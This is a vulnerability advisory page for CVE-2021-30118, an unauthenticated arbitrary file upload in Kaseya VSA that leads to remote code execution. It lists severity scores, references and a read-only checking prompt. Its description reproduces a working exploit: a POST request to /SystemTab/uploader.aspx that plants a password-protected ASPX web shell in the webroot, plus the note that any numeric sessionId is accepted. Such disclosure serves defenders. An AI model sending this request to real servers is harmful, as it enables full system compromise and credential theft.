# CVE-2021-30118: Unauthenticated Remote Code Execution in Kaseya VSA \< v9.5.5

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** CRITICAL 9.8
- **CVSS:** 9.8 (v3.1, CNA) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Privileges required: None; User interaction: None; Scope: Unchanged; Confidentiality impact: High; Integrity impact: High; Availability impact: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** Yes (see exploit references)
- **Remote exploitation:** Remote, no login needed
- **EPSS:** 67.90% (percentile 100, 2026-11-26)
- **CWE:** CWE-434
- **Published:** 2021-07-09T13:19:42.000Z
- **Modified:** 2026-06-17T03:49:41.897Z

## Who should check

- Anyone running n/a (versions: see the vendor advisory)

## Description

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: \`\`\` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&\_\_RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 \<%@ Page Language="C\#" Debug="true" validateRequest="false" %\> \<%@ Import namespace="System.Web.UI.WebControls" %\> \<%@ Import namespace="System.Diagnostics" %\> \<%@ Import namespace="System.IO" %\> \<%@ Import namespace="System" %\> \<%@ Import namespace="System.Data" %\> \<%@ Import namespace="System.Data.SqlClient" %\> \<%@ Import namespace="System.Security.AccessControl" %\> \<%@ Import namespace="System.Security.Principal" %\> \<%@ Import namespace="System.Collections.Generic" %\> \<%@ Import namespace="System.Collections" %\> \<script runat="server"\> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page\_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); \<snip\> \`\`\` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- \* a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication \* /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access \* The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

## Affected and fixed versions

- n/a: see vendor advisory (nvd)

## Mitigation

- No fix listed yet: follow the vendor advisory.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2021-30118. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2021-30118.md
Affected: n/a
Fixed in: no fixed version listed yet

Steps:
1. Search this machine and project for n/a: dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2021-30118 being exploited?

There is no confirmed exploitation: CVE-2021-30118 is not in the CISA Known Exploited Vulnerabilities catalog. Public exploit code or a proof of concept is available. EPSS estimates a 67.90% chance of exploitation in the next 30 days (as of 2026-11-26).

### How serious is CVE-2021-30118?

Critical: CVSS 9.8 (v3.1, scored by CNA). Remote, no login needed.

### Which versions are affected by CVE-2021-30118?

n/a.

### Is there a fix for CVE-2021-30118?

No fixed version is listed in the sources yet. No fix listed yet: follow the vendor advisory.

### How do I check if I'm affected by CVE-2021-30118?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021>
- patch: <https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/>
- patch: <https://csirt.divd.nl/DIVD-2021-00011>
- exploit: <https://csirt.divd.nl/CVE-2021-30118>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. <https://nvd.nist.gov/vuln/detail/CVE-2021-30118>

HTML: <https://flawdb.com/CVE-2021-30118> · JSON: <https://flawdb.com/api/v1/entries/CVE-2021-30118>
